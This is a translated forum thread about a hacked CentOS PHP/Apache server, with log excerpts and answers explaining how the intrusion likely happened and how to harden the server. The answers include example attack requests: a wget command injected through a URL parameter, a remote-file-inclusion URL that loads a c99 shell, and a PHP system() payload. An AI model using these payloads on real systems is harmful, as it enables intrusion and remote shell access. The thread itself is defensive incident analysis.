服务器被黑了。需要帮助找到解决方法

服务器被黑了。需要帮助找到解决方法

我们的一台运行 PHP/Apache 的 CentOS 机器最近被黑客入侵了。幸运的是,我们很快就要停用这台服务器,并进行备份等。但是,我需要一些帮助来找出黑客是如何入侵的。

据我所知,似乎有一些脚本是使用 apache 写入我们的服务器的(也许是 PUT?),在 apache error_logs 中我看到:

    [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php   
    --2010-09-10 12:46:45--  http://208.75.xx.xx/newmax/max.txt
    Connecting to 208.75.xx.xx:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 28975 (28K) [text/plain]
    Saving to: `max.txt'

         0K .......... .......... ........                        100%  184K=0.2s

    2010-09-10 12:46:45 (184 KB/s) - `max.txt' saved [28975/28975]

      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    ^M  3 28975    3  1140    0     0   8597      0  0:00:03 --:--:--  0:00:03  8597^M100 28975  100 28975    0     0  88203      0 --:--:-- --:--:-- --:--:--  139k
    sh: lynx: command not found
     [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php

(第一行和最后一行只是虚拟错误行,用于指示日志格式和中间条目的奇怪之处)。

任何想法,Apache 错误日志将如何具有这种格式以及它可能是如何被触发的?

当我发现更多内容时,我会对这个问题添加更多内容。

答案1

我猜想 register_globals 已打开,并且您正在运行 OSCommerce,但没有其论坛中的四个补丁。我不知道他们为什么拒绝使用补丁更新 .zip/.gz 文件。

我猜想 max.txt 可能是 c99 shell,并作为 something.php 下载到您的 /store/images 路径中。一旦他们能够在浏览器中运行该文件,他们就拥有了一个远程 shell。

如果您没有运行 OSCommerce,请查找包含文件中的匹配项。例如,您可能有一个不应直接调用的 function.php 文件,其中包含:

exec($path . 'convert blahblah');

发送请求如下:

hxxp://yoursite.com/function.php?path=wget%20-O%20/path/to/something/web/accessible/file.php%20hxxp://blahblah

这允许他们将文件写入可远程执行的磁盘。他们还可能利用代码中的 XSS 漏洞来执行如下操作:

require($webpath . '/functions.lib.php');

并通过 ?webpath=hxxp://c99shell.com/location.txt? 发送请求,从而为他们提供了一个远程 shell。一旦他们获得远程 shell,他们就会尝试运行 wget/lynx(或上传一个 shell 脚本来运行多种方法,以确保他们的 payload 已安装)

在这种情况下,allow_url_include=off 可能会有帮助。

答案2

入侵服务器的典型方式如下:

1) 服务器以默认设置运行 PHP;这意味着没有 safe_mode,允许使用所有 POSIX 函数(例如 system()),并且激活了几个通用但危险的 PHP 模块(例如 curl)

2)服务器已使用默认设置挂载了 /tmp(或用于 http 上传的任何临时目录);这意味着它允许执行文件。

3)服务器已使用默认设置挂载了 /var/www(或 webroot 的挂载点);这意味着它允许执行文件。

4) 某些 CMS 或其他安装的软件中存在输入验证较弱的自制 PHP 脚本/已知漏洞。

在这样的环境中,攻击者可以通过 http 上传恶意文件或指示服务器从远程服务器获取文件,然后通过传递一些缺少输入验证的 URL 参数来运行该脚本。

如果 PHP 脚本未验证输入,则 URL 参数(或 POST 请求)可能包含类似<?php system("/tmp/pwn4g3"); ?>.karmawhore 已经解释过这一点的内容。

因此,为了制止这种邪恶行为:

  • 使用以下命令挂载 webroot 和 PHP 临时目录禁止执行旗帜。
  • 如果可能的话禁用 PHP 中的危险功能
  • 如果可能的话,使用 PHP 的 safe_mode(尽管它远非万无一失,而且可能随着时间的推移而被完全删除)。
  • 不允许 Apache 用户使用 gcc,或者更好的是,根本不要将 gcc 安装到您的网络服务器上。
  • 使用mod_security
  • 使用苏霍辛
  • 使用 php-fpm、suphp 或其他技术以脚本所有者账户而不是一般 Apache 账户的身份运行脚本。
  • 保持你的软件为最新版本。

相关内容